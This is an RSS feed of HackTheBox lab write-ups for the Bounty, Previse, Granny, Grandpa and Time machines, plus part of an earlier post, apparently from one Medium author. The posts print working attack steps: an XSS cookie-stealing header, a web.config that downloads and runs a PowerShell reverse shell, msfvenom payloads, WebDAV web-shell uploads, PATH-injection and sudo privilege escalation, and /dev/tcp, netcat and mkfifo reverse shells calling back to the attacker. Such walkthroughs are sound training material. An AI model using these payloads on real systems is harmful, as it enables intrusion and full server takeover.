src="https://cdn-images-1.medium.com/max/1024/1*OzThCIMM871p8y1uyQiwUw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AUuBKN6WxtkkcMFoJuQYQQ.png" /></figure><p>If you read you will see my browser information has been sent to the administrator this means in the backend take my information from the user-agent header let’s try injecting Xss payload in this header and running our local server maybe sending cookie admin in the request.</p><p><strong>XSS</strong></p><p>I write a simple javascript payload to send the cookie to my local server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GGRGTO8jW6n0sXd0_gploA.png" /></figure><p>After injecting this payload in the user-agent header and settling the admin cookie now we can access the dashboard.</p><p><strong>Initial foothold</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P5XWpJjMkFASVZCDIJRWwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oww--wLHOLM9VzChh_afFg.png" /></figure><p>Okay, I’ll generate a report and intercept the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vhfg9A5OZrYRKNS7aJAPaw.png" /></figure><p>After reading this message I tried command injection and it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_L972wdeMpRk0YFIApSG_A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iucdB0ukysU4iMJvEPebqQ.png" /></figure><p><strong>Privillage Escallition</strong></p><p>After searching the server, I found that we can run /usr/bin/syscheck via sudo without a password. However, we need to read this script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Br6ayz3hVaFb1kaTW3qAw.png" /></figure><p>After running this script, it searches for the <strong>initdb.sh</strong> script. If the script is found, it generates a bash file and writes the necessary code to run the bash file as a root. A simple command creates the bash script and permission is set to allow execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OaSWy0NbNL718wgigCs32A.png" /></figure><pre>echo &quot;bash&quot; &gt; initdb.sh<br>chmod 777 initdb.sh<br>sudo /usr/bin/syscheck</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7g0_GEQMTpvDWFsY74rPlA.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7814d51b6fea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bounty HackTheBox Write-up]]></title>
            <link>https://medium.com/@sam_0x0/bounty-hackthebox-write-up-bc18b0e6c92d?source=rss-61d62d2bc70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc18b0e6c92d</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Sam]]></dc:creator>
            <pubDate>Thu, 04 Jul 2024 11:04:53 GMT</pubDate>
            <atom:updated>2024-07-04T11:04:53.718Z</atom:updated>
            <content:encoded><![CDATA[<h3>Recon</h3><p>After using Nmap I found port 80 is open.</p><pre>nmap -sV -sC -oA scan/result $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DLSQZfeYHc3YOygoYVI2-w.png" /></figure><p>Okay, let’s see the website.</p><h4>Website — Port 80</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v-WJbWJMlppriWhuvWCtrQ.png" /></figure><p>I need to use Gobuster to discover any hidden directories or files.</p><pre>gobuster dir --url &quot;http://$IP/&quot; -w /usr/share/dirb/wordlists/small.txt -x txt,asp,aspx,config</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xzxy8eNhudgX9rCa8uU0Bw.png" /></figure><p>We have a “transfer.aspx” Okay, let’s see it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Splv9yJ0Qqw22Ngh3H6aNw.png" /></figure><p>This File upload functionality. First, I’ll upload any file-like file.txt but the website displays this error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CwUmZ60Ghr4B75NTFI831w.png" /></figure><p>So I’ll use Google to search how we can bypass this.</p><p><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/iis-internet-information-services">IIS - Internet Information Services | HackTricks</a></p><p><a href="https://soroush.me/blog/2014/07/upload-a-web-config-file-for-fun-profit/">https://soroush.me/blog/2014/07/upload-a-web-config-file-for-fun-profit/</a></p><p>After reading this article I found we can upload a web.config file and then take a reverse shell.</p><h4>web config RCE</h4><p>The web.config file has settings and configuration data for web applications on IIS servers. It is similar to a .htaccess on an Apache server. This error needs us to edit this file let’s see if we can modify it via upload.</p><p>Now let’s create a file this file will be edited config in the server and download a Power-Shell script to take a reverse shell.</p><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;configuration&gt;<br>   &lt;system.webServer&gt;<br>      &lt;handlers accessPolicy=&quot;Read, Script, Write&quot;&gt;<br>         &lt;add name=&quot;web_config&quot; path=&quot;*.config&quot; verb=&quot;*&quot; modules=&quot;IsapiModule&quot; scriptProcessor=&quot;%windir%\system32\inetsrv\asp.dll&quot; resourceType=&quot;Unspecified&quot; requireAccess=&quot;Write&quot; preCondition=&quot;bitness64&quot; /&gt;         <br>      &lt;/handlers&gt;<br>      &lt;security&gt;<br>         &lt;requestFiltering&gt;<br>            &lt;fileExtensions&gt;<br>               &lt;remove fileExtension=&quot;.config&quot; /&gt;<br>            &lt;/fileExtensions&gt;<br>            &lt;hiddenSegments&gt;<br>               &lt;remove segment=&quot;web.config&quot; /&gt;<br>            &lt;/hiddenSegments&gt;<br>         &lt;/requestFiltering&gt;<br>      &lt;/security&gt;<br>   &lt;/system.webServer&gt;<br>&lt;/configuration&gt;<br>&lt;!-- Here malicious code --&gt; <br>&lt;%@ Language=VBScript %&gt;<br>&lt;%<br>  call Server.CreateObject(&quot;WSCRIPT.SHELL&quot;).Run(&quot;cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring(&#39;http://$IP/Invoke-PowerShellTcp.ps1&#39;)&quot;)<br>%&gt;</pre><p>Now, I’ll edit the power-shell script to add IP and port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UhRRw7caQWZIgA3RdaH6Yw.png" /></figure><p>Okay, everything is good so I’ll run the Python server and Listener on port 9001 then I’ll upload the file and access this file from my browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-n-FgcRXmdN20zbf1VO8dQ.png" /></figure><p>Let’s execute the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DtgOlpVBJfqRRWwlAjEDDQ.png" /></figure><p>Here I can see user.txt I think this file is hidden.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMdD0UClo6faXMl6-Yhjmg.png" /></figure><p>To display hidden files you can use these commands</p><pre>dir -Force  # Use this command when use PowerShell<br>dir /a      # Use this command when use CMD</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gdqg8VlD6yScysF8WElLDA.png" /></figure><p>In our case we use PowerShell so I run command number 1.</p><h3>Priv-ESC</h3><p><strong>Enumeration</strong></p><pre>systeminfo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CUa36xrazy2xfGi9h7255g.png" /></figure><p>The OS is 2008 which means is an old version and we don’t have hot fixes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TQVHoUJY9bH-LOrSTpyMFw.png" /></figure><pre>whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qmn3BpY1Xx-cG_K0NbUrGA.png" /></figure><p><strong>Sherlock</strong></p><pre>iex(new-object net.webclient).downloadstring(&#39;http://$IP/Sherlock.ps1&#39;)<br>(new-object net.webclient).downloadfile(&#39;http://$IP/37049-64.exe&#39;, &#39;\users\merlin\appdata\local\temp\37049-64.exe&#39;) # Download File via PowerShell<br>Find-AllVulns</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lcToZKhHkoShKcLL_T5gAA.png" /></figure><p><strong>Automation with Metasploit</strong></p><pre>mefvenom -p windows/x64/meterpreter/reverse_tcp lhost=tun0 lport=9002 -f psh -o exploit.ps1</pre><p>I’ll download this PowerShell payload in the victim machine to receive a reverse shell on the Meterpreter.</p><pre>iex(new-object net.webclient).downloadstring(&#39;http://$IP/exploit.ps1&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EVgNKxatLC9Agi0A8awfYw.png" /></figure><p>Now, I’ll use the suggested Module to escalate our privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gEU0TJoMfFopH7-PquCHDA.png" /></figure><p>After trying I found this module exploit/windows/local/cve_2019_14058_wizardopium is running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ss40f9Hv0d8U6m6-KW_Zkw.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc18b0e6c92d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Previse HackTheBox Write-up]]></title>
            <link>https://medium.com/@sam_0x0/previse-hackthebox-write-up-b0a9787d7ced?source=rss-61d62d2bc70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0a9787d7ced</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[source-code-review]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Sam]]></dc:creator>
            <pubDate>Thu, 27 Jun 2024 05:05:31 GMT</pubDate>
            <atom:updated>2024-06-27T05:05:31.161Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Recon</strong></h3><p>Let’s use Nmap to scan the target.</p><pre>nmap -sV -sC -oA scan/result $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*m8mou6BZHUNnUHKSxJOSqA.png" /></figure><p>We have 2 services SSH and HTTP running on our target.</p><h4>HTTP — Port 80</h4><p>Now I need to see the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pLtLVFHLsqdNFt3Ja-32JA.png" /></figure><p>This website uses PHP as a programming language. We have a login page, so I’ll use Feroxbuster.</p><pre>feroxbuster -u http://$IP/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*n2SkU5au0a5RUmyhBOyYiA.png" /></figure><p>I found some pages but we can’t access them because the website redirects me to the login page. Whenever I encounter a login page, I always check for SQL injection in the login functionality but I don’t find anything. So let’s check if we can access accounts before redirecting me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ordPYJnhaIzMOEnD4XrpRA.png" /></figure><p>Now change the response status code from 302 Found to 200 OK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tATiR8zAylKJpc1ffME_RQ.png" /></figure><p>Great, It works let’s create a new account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h0wMRAq5KjIxbp8mDmbTdQ.png" /></figure><p>After registering try login to your account. Now we can access the dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dqtfDNwMoOgmDechLvw9IQ.png" /></figure><p>Let’s check the files tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TtdI9jbGHiCnHp5Rz69w7w.png" /></figure><p>We have a backup file for the website so I’ll download it.</p><h4>Source Code Review</h4><p><strong>Config.php</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*kO0nltpFbRBqOo8kKpfzGQ.png" /></figure><p>Here we database creds.</p><p><strong>Logs.php</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*VVyTHjR3YW-utyUG_bNJYA.png" /></figure><p>Here we have a command injection bug let’s go to this endpoint file_logs.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WpWPT1_B2qjNamx3LntfDg.png" /></figure><p>Let’s send a request and intercept the request by burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fGG23oaZnB7SQvG78guuAQ.png" /></figure><p>Great, let’s take a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWWwm_5XQT-Plf5YLz0h0g.png" /></figure><h4>Priv-Esc: www-data — m4lwhere</h4><p><strong>Enumeration</strong></p><p>After searching I found user “m4lwhere” in the accounts table and now we have his hash let’s crack it by “John”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*AgQmpXTDxyc9ikJSkND1oQ.png" /></figure><pre>john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p>Now we have the password let’s log in via SSH.</p><pre>ssh m4lwhere@$IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*75i4Fh2buuc7N4d6S32Zwg.png" /></figure><h4>Priv-ESC: m4lwhere — root</h4><p><strong>Enumeration</strong></p><p>After searching I found we can run this script by “ sudo ” command without a password.</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*iG72qPbTGAqac8Qow1l1ZQ.png" /></figure><p>We can’t write in this script but when you read the script you will find PATH Injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*Fenj3UTQ5bedRmSa8MiL0A.png" /></figure><p>First, You need to create a new file called gzip.</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/10.10.16.</pre><pre>chmod +x gzip<br>export PATH=/tmp:$PATH</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*nmpV0q2MDBRC6KkvxPEiFA.png" /></figure><p>Now let’s run the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*lKGGJlVxN1jM_-1a6SH70w.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0a9787d7ced" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Granny HackTheBox Write-up]]></title>
            <link>https://medium.com/@sam_0x0/granny-hackthebox-write-up-056af87c2934?source=rss-61d62d2bc70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/056af87c2934</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Sam]]></dc:creator>
            <pubDate>Tue, 25 Jun 2024 05:05:06 GMT</pubDate>
            <atom:updated>2024-06-25T06:36:58.749Z</atom:updated>
            <content:encoded><![CDATA[<h3>Recon</h3><p>After using Nmap I found port 80 is open on this target.</p><pre>nmap -sV -sC -oA scan/result $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VEAWEobcYaZTTQSywlIcMg.png" /></figure><p>When you look at the version IIS and HTTP-supported methods this means the Nmap tells us the target vulnerable “WEBDAV”, okay first I need to see the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fNj_Hjcyb8xZFqjqw64RtQ.png" /></figure><p><strong>Headers</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*rIKy0aXWDr7g9nZIP85NkA.png" /></figure><p>When you encounter the response header “X-Powered-By: <a href="http://asp.net/">ASP.NET</a>”, it indicates the presence of aspx extension files and can be useful in fuzzing.</p><h4>Fuzzing</h4><p>After using Gobuster I found some directories but the directories were empty.</p><h4>WebDAV</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*FmmsyI5Uyw9oX9yeH1lEYA.png" /></figure><p>This article has helped me in this process.</p><p><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/put-method-webdav">WebDav | HackTricks</a></p><h4>DavTest</h4><p>Now, I’ll use the davtest tool to see if we can upload Web-Shell.</p><pre>davtest -url &quot;http://$IP/&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DembRwjLpfmXMLrdu04RcQ.png" /></figure><p>Here we can’t upload an aspx file so this means we can’t take a reverse shell but after searching in this article I found an interesting vulnerability let’s see it.</p><h4>Manually Exploit</h4><p>First, I need to copy this file from this path</p><pre>cp /usr/share/webshells/aspx/cmdasp.aspx .</pre><p>Okay take a copy from this file with the extension .txt now we have 2 files with .txt and aspx</p><p>let’s start exploiting.</p><pre>curl -X PUT http://10.129.235.224/shell.txt -d @cmdasp.txt<br>curl -X MOVE -H &#39;Destination:http://10.129.235.224/shell.aspx&#39; http://10.129.235.224/shell.txt -d @cmdasp.aspx </pre><p>It’s work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7gTZmxU5GTP5uAXUnRLsLg.png" /></figure><h4>Automation Exploit</h4><pre>cadaver $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Mdo-hwBiKJ9Ffukh9-wSg.png" /></figure><pre>put cmdasp.txt<br>copy cmdasp.txt cmdasp.aspx;.txt<br>move</pre><p>Now I need to move from a normal shell to a Meterpreter session.</p><h4>Meterpreter</h4><p>I’ll generate a payload.</p><pre>msfvenom -p windows/meterpreter/reverse_tcp lhost=tun0 lport=9003 -f aspx -o 9001.aspx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bvmbgnk-YuXWiz_8EkBhTA.png" /></figure><p>Open the MSF console and run Listener on port 9001.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xUggyvpT8bPmqRqHqKKddg.png" /></figure><p>Now let’s upload our payload and execute this.</p><pre>curl -X PUT http://10.129.235.224/9001.txt --data-binary @9001.aspx<br>curl -X MOVE -H &#39;Destination: http://10.129.235.224/9001.aspx&#39; http://10.129.235.224/9001.txt<br>curl http://10.129.235.224/9001.aspx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PazkNpcPoVZ2dFCWVjWbRg.png" /></figure><h3>Priv-ESC</h3><p><strong>Enumeration</strong></p><p>I’ll use the Suggester Module in this stage so let’s get started.</p><p><strong>Module</strong>: exploit/multi/recon/local_exploit_suggester</p><p><strong>Module 2</strong>: exploit/windows/local/ms10_015_kitrap0d</p><h4><strong>ms10_015</strong></h4><p>Now we are NT AUTHORITY\\SYSTEM</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tJE4PK6yB_i0jtx1Q0YsOg.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=056af87c2934" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Grandpa HackTheBox Write-up]]></title>
            <link>https://medium.com/@sam_0x0/grandpa-hackthebox-write-up-4502141f5bea?source=rss-61d62d2bc70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/4502141f5bea</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[webdav]]></category>
            <dc:creator><![CDATA[Sam]]></dc:creator>
            <pubDate>Tue, 25 Jun 2024 04:49:37 GMT</pubDate>
            <atom:updated>2024-06-25T04:49:37.976Z</atom:updated>
            <content:encoded><![CDATA[<h3>Recon</h3><p>I’ll use Nmap to scan this target.</p><pre>nmap -sV -sC -oA scan/result $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BOUM0S7WnAJ7eWQvVKGW_Q.png" /></figure><p>Okay, The Nmap says this server is vulnerable to “WEBDAV”</p><h4>WebDAV</h4><p>I’ll use dav-test to check if we can upload a file.</p><pre>davtest -url &quot;http://$IP&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ze5_4WjwgtOKgZPltuAUQ.png" /></figure><p>We can’t upload any files so I’ll use Google to search ’IIS6 exploit’ After searching I found a buffer overflow exploit let’s try to exploit this.</p><p><a href="https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269">GitHub - g0rx/iis6-exploit-2017-CVE-2017-7269: iis6 exploit 2017 CVE-2017-7269</a></p><h4>Exploitation</h4><p>First, I need to clone this repo in my VM.</p><pre>git clone https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269.git<br>mv iis6 reverse shell iis6.py</pre><p>Now, I’ll start the attack.</p><pre>iis6.py targetip targetport reverseip reverseport</pre><p>Great, It’s work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kT28kaGdJxcoZboRDsWJeQ.png" /></figure><h3>Priv-ESC</h3><p><strong>Enumeration</strong></p><pre>systeminfo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_rVUqvAee3X33oUqSBixsA.png" /></figure><p>Copy this output and save it in info.txt after that I’ll use “Wes” to see any exploits.</p><pre>wes.py info.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rey1YFr4awm7wIDbuc-cCw.png" /></figure><p>We have some exploits let’s check them I’ll search for any exploit of type local.</p><h4>Exploit CVE-2009–0078</h4><p>WMI Service Isolation Privilege Escalation</p><pre>wget https://github.com/Re4son/Churrasco/raw/master/churrasco.exe</pre><p>After downloading this binary, we need to upload this binary and NC.exe on the victim machine.</p><pre>.\churrasco.exe -d &quot;nc.exe 10.10.16.42 8000 -e cmd.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AYZZp-J-Ix3aZtSml5z79g.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4502141f5bea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Time HackTheBox Write-up]]></title>
            <link>https://medium.com/@sam_0x0/time-hackthebox-write-up-4ce08fefb0c1?source=rss-61d62d2bc70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/4ce08fefb0c1</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[Sam]]></dc:creator>
            <pubDate>Mon, 24 Jun 2024 08:43:17 GMT</pubDate>
            <atom:updated>2024-06-24T08:43:17.558Z</atom:updated>
            <content:encoded><![CDATA[<h3>Recon</h3><p>Let’s use Nmap.</p><pre>nmap -sV -sC -oA scan/result $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*Ul6i5mcRLLz9xRz7BZ2VEQ.png" /></figure><p>We have 22 SSH, and HTTP 80 services running on our target.</p><h4>Website — 80 Port</h4><p>Let’s check the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AwaMqLkhAgHx3UlqUt7d3w.png" /></figure><p>We have This let’s see it. After testing I found this error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N9aGwpojFNnkx9fJaf5Prw.png" /></figure><p>I’ll use Google to search for this error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*VDS9qcHW0VYpSf8CQ1cSNQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z_nHDPXdi-M3P6xnEwaZrg.png" /></figure><p>Let’s search if we can find any exploit for this package.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k0j01sTmPmw08c7z_ZYWvQ.png" /></figure><p><a href="https://github.com/jas502n/CVE-2019-12384">GitHub - jas502n/CVE-2019-12384: Jackson Rce For CVE-2019-12384</a></p><h4>Exploitation</h4><p>This article helped you in this process.</p><p><a href="https://blog.doyensec.com/2019/07/22/jackson-gadgets.html">Jackson gadgets - Anatomy of a vulnerability</a></p><p>let’s clone this on our VM.</p><pre>git clone https://github.com/jas502n/CVE-2019-12384.git</pre><p>I will create an SQL file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*qdDBA8YN-u201Evpt96ySg.png" /></figure><p>Make sure to run your listener to receive a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TjjEyCZy8M5ZpfGP7lyo6w.png" /></figure><p>Great, It’s work.</p><h3>Priv-ESC</h3><p><strong>Enumeration</strong></p><p>After running <a href="http://linpeas.sh/">linpeas.sh</a> script I found an interesting backup script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/207/1*v3fs4DPx6kAcfmy1JRQPXw.png" /></figure><p>This script runs in the background from crontab, and we can modify it to execute a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*6Ur31hPIBxt24uzGi0syxg.png" /></figure><pre>echo &#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc $IP 9002 &gt;/tmp/f&#39; &gt;&gt; /usr/bin/timer_backup.sh</pre><p>Once you’ve done that, start your listener and wait to receive a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*wTnDot9ZQbxcdGMICCd0dA.png" /></figure><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ce08fefb0c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>